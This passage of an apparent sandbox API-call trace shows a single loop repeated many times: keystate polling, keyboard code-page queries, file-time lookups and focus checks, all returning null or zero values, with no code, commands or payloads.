GetAsyncKeyState (vKey=58) returned 0 [0256.768] GetKBCodePage () returned 0x1b5 [0256.768] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.768] GetFocus () returned 0x0 [0256.768] GetAsyncKeyState (vKey=58) returned 0 [0256.768] GetKBCodePage () returned 0x1b5 [0256.768] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.768] GetFocus () returned 0x0 [0256.768] GetAsyncKeyState (vKey=58) returned 0 [0256.768] GetKBCodePage () returned 0x1b5 [0256.768] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.768] GetFocus () returned 0x0 [0256.768] GetAsyncKeyState (vKey=58) returned 0 [0256.768] GetKBCodePage () returned 0x1b5 [0256.768] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.768] GetFocus () returned 0x0 [0256.768] GetAsyncKeyState (vKey=58) returned 0 [0256.768] GetKBCodePage () returned 0x1b5 [0256.768] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.768] GetFocus () returned 0x0 [0256.768] GetAsyncKeyState (vKey=58) returned 0 [0256.768] GetKBCodePage () returned 0x1b5 [0256.768] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.768] GetFocus () returned 0x0 [0256.769] GetAsyncKeyState (vKey=58) returned 0 [0256.769] GetKBCodePage () returned 0x1b5 [0256.769] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.769] GetFocus () returned 0x0 [0256.769] GetAsyncKeyState (vKey=58) returned 0 [0256.769] GetKBCodePage () returned 0x1b5 [0256.769] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.769] GetFocus () returned 0x0 [0256.769] GetAsyncKeyState (vKey=58) returned 0 [0256.769] GetKBCodePage () returned 0x1b5 [0256.769] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.769] GetFocus () returned 0x0 [0256.769] GetAsyncKeyState (vKey=58) returned 0 [0256.769] GetKBCodePage () returned 0x1b5 [0256.769] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.769] GetFocus () returned 0x0 [0256.769] GetAsyncKeyState (vKey=58) returned 0 [0256.769] GetKBCodePage () returned 0x1b5 [0256.769] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.769] GetFocus () returned 0x0 [0256.769] GetAsyncKeyState (vKey=58) returned 0 [0256.769] GetKBCodePage () returned 0x1b5 [0256.769] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.769] GetFocus () returned 0x0 [0256.769] GetAsyncKeyState (vKey=58) returned 0 [0256.769] GetKBCodePage () returned 0x1b5 [0256.769] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.769] GetFocus () returned 0x0 [0256.769] GetAsyncKeyState (vKey=58) returned 0 [0256.769] GetKBCodePage () returned 0x1b5 [0256.769] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.769] GetFocus () returned 0x0 [0256.769] GetAsyncKeyState (vKey=58) returned 0 [0256.769] GetKBCodePage () returned 0x1b5 [0256.770] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.770] GetFocus () returned 0x0 [0256.770] GetAsyncKeyState (vKey=58) returned 0 [0256.770] GetKBCodePage () returned 0x1b5 [0256.770] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.770] GetFocus () returned 0x0 [0256.770] GetAsyncKeyState (vKey=58) returned 0 [0256.770] GetKBCodePage () returned 0x1b5 [0256.770] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.770] GetFocus () returned 0x0 [0256.770] GetAsyncKeyState (vKey=58) returned 0 [0256.770] GetKBCodePage () returned 0x1b5 [0256.770] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.770] GetFocus () returned 0x0 [0256.770] GetAsyncKeyState (vKey=58) returned 0 [0256.770] GetKBCodePage () returned 0x1b5 [0256.770] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.770] GetFocus () returned 0x0 [0256.770] GetAsyncKeyState (vKey=58) returned 0 [0256.770] GetKBCodePage () returned 0x1b5 [0256.770] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.770] GetFocus () returned 0x0 [0256.770] GetAsyncKeyState (vKey=58) returned 0 [0256.770] GetKBCodePage () returned 0x1b5 [0256.770] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.770] GetFocus () returned 0x0 [0256.770] GetAsyncKeyState (vKey=58) returned 0 [0256.770] GetKBCodePage () returned 0x1b5 [0256.770] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.770] GetFocus () returned 0x0 [0256.770] GetAsyncKeyState (vKey=58) returned 0 [0256.770] GetKBCodePage () returned 0x1b5 [0256.770] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.771] GetFocus () returned 0x0 [0256.771] GetAsyncKeyState (vKey=58) returned 0 [0256.771] GetKBCodePage () returned 0x1b5 [0256.771] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.771] GetFocus () returned 0x0 [0256.771] GetAsyncKeyState (vKey=58) returned 0 [0256.771] GetKBCodePage () returned 0x1b5 [0256.771] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.771] GetFocus () returned 0x0 [0256.771] GetAsyncKeyState (vKey=58) returned 0 [0256.771] GetKBCodePage () returned 0x1b5 [0256.771] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.771] GetFocus () returned 0x0 [0256.771] GetAsyncKeyState (vKey=58) returned 0 [0256.771] GetKBCodePage () returned 0x1b5 [0256.771] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.771] GetFocus () returned 0x0 [0256.771] GetAsyncKeyState (vKey=58) returned 0 [0256.771] GetKBCodePage () returned 0x1b5 [0256.771] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.771] GetFocus () returned 0x0 [0256.771] GetAsyncKeyState (vKey=58) returned 0 [0256.771] GetKBCodePage () returned 0x1b5 [0256.771] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.771] GetFocus () returned 0x0 [0256.771] GetAsyncKeyState (vKey=58) returned 0 [0256.771] GetKBCodePage () returned 0x1b5 [0256.771] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.771] GetFocus () returned 0x0 [0256.771] GetAsyncKeyState (vKey=58) returned 0 [0256.771] GetKBCodePage () returned 0x1b5 [0256.771] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.771] GetFocus () returned 0x0 [0256.771] GetAsyncKeyState (vKey=58) returned 0 [0256.772] GetKBCodePage () returned 0x1b5 [0256.772] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.772] GetFocus () returned 0x0 [0256.772] GetAsyncKeyState (vKey=58) returned 0 [0256.772] GetKBCodePage () returned 0x1b5 [0256.772] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.772] GetFocus () returned 0x0 [0256.772] GetAsyncKeyState (vKey=58) returned 0 [0256.772] GetKBCodePage () returned 0x1b5 [0256.772] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.772] GetFocus () returned 0x0 [0256.772] GetAsyncKeyState (vKey=58) returned 0 [0256.772] GetKBCodePage () returned 0x1b5 [0256.772] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.772] GetFocus () returned 0x0 [0256.772] GetAsyncKeyState (vKey=58) returned 0 [0256.772] GetKBCodePage () returned 0x1b5 [0256.772] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.772] GetFocus () returned 0x0 [0256.772] GetAsyncKeyState (vKey=58) returned 0 [0256.772] GetKBCodePage () returned 0x1b5 [0256.772] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.772] GetFocus () returned 0x0 [0256.772] GetAsyncKeyState (vKey=58) returned 0 [0256.772] GetKBCodePage () returned 0x1b5 [0256.772] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.772] GetFocus () returned 0x0 [0256.772] GetAsyncKeyState (vKey=58) returned 0 [0256.772] GetKBCodePage () returned 0x1b5 [0256.772] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.772] GetFocus () returned 0x0 [0256.772] GetAsyncKeyState (vKey=58) returned 0 [0256.772] GetKBCodePage () returned 0x1b5 [0256.772] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.773] GetFocus () returned 0x0 [0256.773] GetAsyncKeyState (vKey=58) returned 0 [0256.773] GetKBCodePage () returned 0x1b5 [0256.773] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.773] GetFocus () returned 0x0 [0256.773] GetAsyncKeyState (vKey=58) returned 0 [0256.773] GetKBCodePage () returned 0x1b5 [0256.773] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.773] GetFocus () returned 0x0 [0256.773] GetAsyncKeyState (vKey=58) returned 0 [0256.773] GetKBCodePage () returned 0x1b5 [0256.773] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.773] GetFocus () returned 0x0 [0256.773] GetAsyncKeyState (vKey=58) returned 0 [0256.773] GetKBCodePage () returned 0x1b5 [0256.773] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.773] GetFocus () returned 0x0 [0256.773] GetAsyncKeyState (vKey=58) returned 0 [0256.773] GetKBCodePage () returned 0x1b5 [0256.773] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.773] GetFocus () returned 0x0 [0256.773] GetAsyncKeyState (vKey=58) returned 0 [0256.773] GetKBCodePage () returned 0x1b5 [0256.773] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.773] GetFocus () returned 0x0 [0256.773] GetAsyncKeyState (vKey=58) returned 0 [0256.773] GetKBCodePage () returned 0x1b5 [0256.773] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.774] GetFocus () returned 0x0 [0256.774] GetAsyncKeyState (vKey=58) returned 0 [0256.774] GetKBCodePage () returned 0x1b5 [0256.774] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.774] GetFocus () returned 0x0 [0256.774] GetAsyncKeyState (vKey=58) returned 0 [0256.774] GetKBCodePage () returned 0x1b5 [0256.774] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.774] GetFocus () returned 0x0 [0256.774] GetAsyncKeyState (vKey=58) returned 0 [0256.774] GetKBCodePage () returned 0x1b5 [0256.774] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.774] GetFocus () returned 0x0 [0256.774] GetAsyncKeyState (vKey=58) returned 0 [0256.774] GetKBCodePage () returned 0x1b5 [0256.774] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.774] GetFocus () returned 0x0 [0256.774] GetAsyncKeyState (vKey=58) returned 0 [0256.774] GetKBCodePage () returned 0x1b5 [0256.774] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.774] GetFocus () returned 0x0 [0256.774] GetAsyncKeyState (vKey=58) returned 0 [0256.774] GetKBCodePage () returned 0x1b5 [0256.774] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: 